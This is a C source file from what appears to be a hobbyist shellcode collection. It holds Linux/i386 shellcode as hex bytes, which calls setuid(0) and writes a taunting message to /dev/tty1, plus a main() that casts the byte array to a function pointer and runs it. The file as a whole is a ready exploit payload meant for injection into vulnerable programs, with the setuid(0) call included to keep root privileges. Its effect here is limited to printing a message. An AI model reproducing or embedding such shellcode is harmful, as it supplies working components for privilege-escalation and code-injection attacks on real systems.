/* * __ ___ _ * / \ | \ | | /\-----------------> * / /\ \| |\ \| |/ / * / /__\ \ /| / libShellCode is an ORK's project! * \______/ |\ \| | \ For comments, bug reports, etc ... *<--------|_| \_\_|\_\ contact me at orkmailkatamailcom * * * This is a Linux/i386 ShellCode that exec a setuid(0), then writes "I'm * looking you..." to /dev/tty. * */ char shellcode[]= "\xeb\x30\x5e\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x31\xc9\x31" "\xd2\xb0\x05\x89\xf3\x66\xb9\x42\x04\x88\x56\x08\xcd\x80\x8d\x4b" "\x09\x89\xc3\x31\xc0\xb0\x04\xb2\x12\xcd\x80\x31\xc0\x31\xdb\x40" "\xcd\x80\xe8\xcb\xff\xff\xff\x2f\x64\x65\x76\x2f\x74\x74\x79\x31" "\x49\x27\x6d\x20\x6c\x6f\x6f\x6b\x69\x6e\x67\x20\x79\x6f\x75\x2e" "\x2e\x2e"; main() { void (*f)(); (char *)f = shellcode; f(); }